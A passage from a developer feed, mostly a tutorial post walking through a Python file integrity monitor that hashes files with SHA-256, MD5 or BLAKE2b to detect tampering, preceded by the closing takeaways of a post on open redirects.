&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy0haavynsaevku9ncp12.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy0haavynsaevku9ncp12.png" alt=" " width="800" height="416"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fosb7j6y1yo36a6p4eh2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fosb7j6y1yo36a6p4eh2o.png" alt=" " width="594" height="133"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26ll1rhtdwfaq1n8yfp1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26ll1rhtdwfaq1n8yfp1.png" alt=" " width="800" height="410"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Trust No Input&lt;/strong&gt;: User data is a liar—always parse and validate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Layer Defenses&lt;/strong&gt;: Basic checks + allowlists + logging = robust.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proactive Hunting&lt;/strong&gt;: Scan early (e.g., via GitHub Actions with Semgrep).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Learn by Breaking&lt;/strong&gt;: Build this lab, then hunt for similar vulns in open-source repos.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Open Redirects remind us: Security isn't about complexity; it's about vigilance.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>python</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Day 19 — How I Built a File Integrity Monitor in Python to Detect File Tampering</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Sat, 07 Mar 2026 05:17:35 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-20-how-i-built-a-file-integrity-monitor-in-python-to-detect-file-tampering-260p</link>
      <guid>https://forem.com/hafiz_shamnad/day-20-how-i-built-a-file-integrity-monitor-in-python-to-detect-file-tampering-260p</guid>
      <description>&lt;p&gt;What if one of your critical system files changed right now?&lt;/p&gt;

&lt;p&gt;Would you notice?&lt;/p&gt;

&lt;p&gt;Attackers rarely need to install complex malware. Often they simply modify existing files — a web server script, a cron job, or a configuration file.&lt;/p&gt;

&lt;p&gt;That tiny change can be the difference between a secure system and a persistent backdoor.&lt;/p&gt;

&lt;h2&gt;
  
  
  This is exactly the problem File Integrity Monitoring solves.
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Every system administrator or security engineer has faced the same unsettling question at some point: &lt;em&gt;has this file been tampered with?&lt;/em&gt; Whether it's a config file silently modified by malware, a binary swapped out during a supply-chain attack, or a web asset defaced by an intruder — unauthorized file changes are one of the most common indicators of compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FIM (File Integrity Monitor)&lt;/strong&gt; is a lightweight, terminal-native Python tool that answers that question definitively. It uses cryptographic hashing to create a trusted snapshot of your files and then compares future states against that snapshot — flagging any modifications, deletions, or suspicious new additions.&lt;/p&gt;

&lt;p&gt;This post walks through how FIM works, how to use it, what features it offers, and the security principles that power it under the hood.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Security Problem: Why File Integrity Monitoring Matters
&lt;/h2&gt;

&lt;p&gt;Before diving into the code, it's worth understanding &lt;em&gt;why&lt;/em&gt; this kind of tool exists in the first place.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detecting Unauthorized Changes
&lt;/h3&gt;

&lt;p&gt;Attackers who compromise a system often need to modify files to maintain persistence — think webshells dropped into &lt;code&gt;/var/www&lt;/code&gt;, backdoors inserted into system binaries, or cron jobs quietly added to &lt;code&gt;/etc/cron.d&lt;/code&gt;. A file integrity monitor acts as a silent watchdog. It doesn't prevent the change, but it makes the change &lt;em&gt;impossible to hide&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Compliance Requirements
&lt;/h3&gt;

&lt;p&gt;Many security frameworks mandate file integrity monitoring as a control. PCI-DSS (Requirement 11.5), HIPAA, and NIST 800-53 all reference it as a critical baseline measure. Tools like Tripwire and AIDE have been the enterprise standard for years, but they're heavy, complex to configure, and overkill for a developer's machine, a small server, or a CTF lab environment. FIM fills that gap.&lt;/p&gt;

&lt;h3&gt;
  
  
  Forensic Baseline
&lt;/h3&gt;

&lt;p&gt;In incident response, one of the first things investigators need is a clean baseline — what did the system look like &lt;em&gt;before&lt;/em&gt; the incident? A pre-breach FIM snapshot is invaluable for answering that question quickly.&lt;/p&gt;




&lt;h3&gt;
  
  
  Architecture Overview
&lt;/h3&gt;

&lt;p&gt;FIM follows a simple pipeline:&lt;/p&gt;

&lt;p&gt;Directory → File Scanner → Hash Generator → Baseline Database → Integrity Checker&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Files are recursively scanned&lt;/li&gt;
&lt;li&gt;Cryptographic hashes are generated&lt;/li&gt;
&lt;li&gt;Baseline fingerprints are stored&lt;/li&gt;
&lt;li&gt;Future scans compare current hashes against the baseline&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  5. Differences are reported
&lt;/h2&gt;

&lt;h2&gt;
  
  
  How It Works
&lt;/h2&gt;

&lt;p&gt;FIM operates on a simple but cryptographically sound two-phase model.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 1 — Baseline Creation
&lt;/h3&gt;

&lt;p&gt;When you run FIM with the &lt;code&gt;--init&lt;/code&gt; flag, it walks the target directory recursively, computes a cryptographic hash of every file, and stores the results in a &lt;code&gt;baseline.json&lt;/code&gt; file. This JSON file is your trusted ground truth — a fingerprint of the directory at a known-good point in time.&lt;/p&gt;

&lt;p&gt;Each entry in the baseline captures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The file path&lt;/strong&gt; — the full path to the file&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The hash&lt;/strong&gt; — a fixed-length digest derived from the file's contents&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The algorithm&lt;/strong&gt; — SHA-256 by default, but configurable&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File metadata&lt;/strong&gt; — size, last-modified timestamp, and permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Phase 2 — Integrity Scanning
&lt;/h3&gt;

&lt;p&gt;When you run FIM with the &lt;code&gt;--scan&lt;/code&gt; flag, it recomputes hashes of all current files and compares them against the stored baseline. It then reports three categories of change:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Modified&lt;/strong&gt; — the file still exists, but its hash no longer matches&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deleted&lt;/strong&gt; — the file was in the baseline but is no longer present on disk&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;New&lt;/strong&gt; — the file exists on disk but was not in the baseline&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This three-way classification is important. A legitimate software update might add new files; that's different from a file being &lt;em&gt;secretly modified&lt;/em&gt;. FIM gives you the full picture.&lt;/p&gt;




&lt;h2&gt;
  
  
  Cryptographic Hashing: The Engine Behind FIM
&lt;/h2&gt;

&lt;p&gt;At the core of file integrity monitoring is a single idea: a cryptographic hash function produces a deterministic, fixed-length "fingerprint" of any input. Change even a single bit of the input, and the output changes completely and unpredictably. This property — called the &lt;strong&gt;avalanche effect&lt;/strong&gt; — is what makes hashing ideal for tamper detection.&lt;/p&gt;

&lt;p&gt;FIM supports three hashing algorithms, each with different trade-offs:&lt;/p&gt;

&lt;h3&gt;
  
  
  SHA-256 (Default)
&lt;/h3&gt;

&lt;p&gt;SHA-256 is part of the SHA-2 family, standardized by NIST. It produces a 256-bit (64-character hex) digest and is the gold standard for general-purpose integrity checking. It's used in TLS certificates, Git commit IDs, and Bitcoin. For most use cases, SHA-256 is the right choice — fast, widely supported, and collision-resistant for all practical purposes.&lt;/p&gt;

&lt;h3&gt;
  
  
  MD5
&lt;/h3&gt;

&lt;p&gt;MD5 is fast and produces a compact 128-bit digest. However, it is &lt;strong&gt;cryptographically broken&lt;/strong&gt; — researchers have demonstrated practical collision attacks, meaning two different files can produce the same MD5 hash. FIM includes MD5 for legacy compatibility and speed in low-risk contexts, but it should not be relied upon in security-sensitive scenarios. Use SHA-256 or BLAKE2 instead.&lt;/p&gt;

&lt;h3&gt;
  
  
  BLAKE2b
&lt;/h3&gt;

&lt;p&gt;BLAKE2 is a modern hashing algorithm designed to be faster than SHA-256 while maintaining strong security guarantees. It's the recommended choice when you need high throughput — scanning large directories with many big files, for example. BLAKE2b is used in WireGuard, libsodium, and numerous modern cryptographic systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Algorithm&lt;/th&gt;
&lt;th&gt;Digest Size&lt;/th&gt;
&lt;th&gt;Speed&lt;/th&gt;
&lt;th&gt;Security&lt;/th&gt;
&lt;th&gt;Best For&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SHA-256&lt;/td&gt;
&lt;td&gt;256-bit&lt;/td&gt;
&lt;td&gt;Fast&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;General use (default)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MD5&lt;/td&gt;
&lt;td&gt;128-bit&lt;/td&gt;
&lt;td&gt;Fastest&lt;/td&gt;
&lt;td&gt;Broken&lt;/td&gt;
&lt;td&gt;Legacy / low-stakes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BLAKE2b&lt;/td&gt;
&lt;td&gt;512-bit&lt;/td&gt;
&lt;td&gt;Fastest&lt;/td&gt;
&lt;td&gt;Very Strong&lt;/td&gt;
&lt;td&gt;Large-scale scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Code explanation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Shebang and Header
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells Linux/Unix systems to run the script using &lt;strong&gt;Python 3 from the system environment&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The large ASCII block is simply &lt;strong&gt;branding and documentation&lt;/strong&gt; for the tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FIM - File Integrity Monitor v2.0
Developed by Hafiz Shamnad
SHA-256 | MD5 | Blake2 Hashing Security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It has &lt;strong&gt;no functional effect&lt;/strong&gt;, but improves CLI UX.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Importing Required Libraries
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;platform&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;stat&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These are &lt;strong&gt;all standard Python libraries&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;What each one does:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Library&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;os&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;filesystem traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Python runtime info&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hashlib&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cryptographic hashing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;storing baseline database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;argparse&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;command-line arguments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;time&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;delays in watch mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;datetime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;platform&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;system info for banner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;stat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;file permission extraction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pathlib&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;path handling&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;No external dependencies means the tool runs on &lt;strong&gt;any Python installation&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. ANSI Color Class (Terminal Styling)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This class defines &lt;strong&gt;ANSI escape codes&lt;/strong&gt; used for terminal colors.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;RED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\033&lt;/span&gt;&lt;span class="s"&gt;[31m&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;GREEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\033&lt;/span&gt;&lt;span class="s"&gt;[32m&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;RESET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\033&lt;/span&gt;&lt;span class="s"&gt;[0m&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These allow output like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ERROR] printed in red
[SUCCESS] printed in green
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Purpose:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;improves CLI readability&lt;/li&gt;
&lt;li&gt;highlights security events&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MODIFIED files → yellow
DELETED files → red
NEW files → blue
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4. Global Configuration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;BASELINE_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;baseline.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;REPORT_FILE&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fim_report.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These define:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;where the &lt;strong&gt;baseline database&lt;/strong&gt; is stored&lt;/li&gt;
&lt;li&gt;where exported reports are written&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The baseline file contains &lt;strong&gt;trusted fingerprints of files&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. Banner Printing
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;print_banner&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function prints the startup banner with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;tool name&lt;/li&gt;
&lt;li&gt;developer name&lt;/li&gt;
&lt;li&gt;hashing algorithms&lt;/li&gt;
&lt;li&gt;system OS&lt;/li&gt;
&lt;li&gt;Python version&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;File Integrity Monitor v2.0
Developed by Hafiz Shamnad
Linux · Python 3.11
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It uses the &lt;strong&gt;color class&lt;/strong&gt; to make the UI look professional.&lt;/p&gt;




&lt;h3&gt;
  
  
  6. Helper Functions
&lt;/h3&gt;

&lt;p&gt;Several small utilities simplify the code.&lt;/p&gt;

&lt;h3&gt;
  
  
  tag()
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Creates labeled messages like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ERROR] Baseline not found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  section()
&lt;/h3&gt;

&lt;p&gt;Prints section headers such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;──────────────
CREATE BASELINE
──────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  progress_bar()
&lt;/h3&gt;

&lt;p&gt;Displays scanning progress:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;████████████░░░░ 65%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This improves UX when hashing many files.&lt;/p&gt;




&lt;h3&gt;
  
  
  human_size()
&lt;/h3&gt;

&lt;p&gt;Converts bytes into readable sizes.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2048 → 2 KB
1048576 → 1 MB
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Useful when showing file metadata.&lt;/p&gt;




&lt;h3&gt;
  
  
  file_meta()
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;file_meta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Collects metadata about files:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;file size&lt;/li&gt;
&lt;li&gt;last modification time&lt;/li&gt;
&lt;li&gt;permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example returned structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"size"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"modified"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-03-07 12:33:11"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0o644"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This metadata is stored in the baseline.&lt;/p&gt;




&lt;h3&gt;
  
  
  7. Hashing Engine
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ALGORITHMS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;md5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;blake2b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;blake2b&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This dictionary allows dynamic selection of hashing algorithms.&lt;/p&gt;

&lt;p&gt;Users can run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;--algo sha256
--algo md5
--algo blake2b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Hashing a File
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hash_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create hash object&lt;/li&gt;
&lt;li&gt;Open file in &lt;strong&gt;binary mode&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Read file in chunks&lt;/li&gt;
&lt;li&gt;Update hash
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8192&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reading chunks prevents memory overload for large files.&lt;/p&gt;

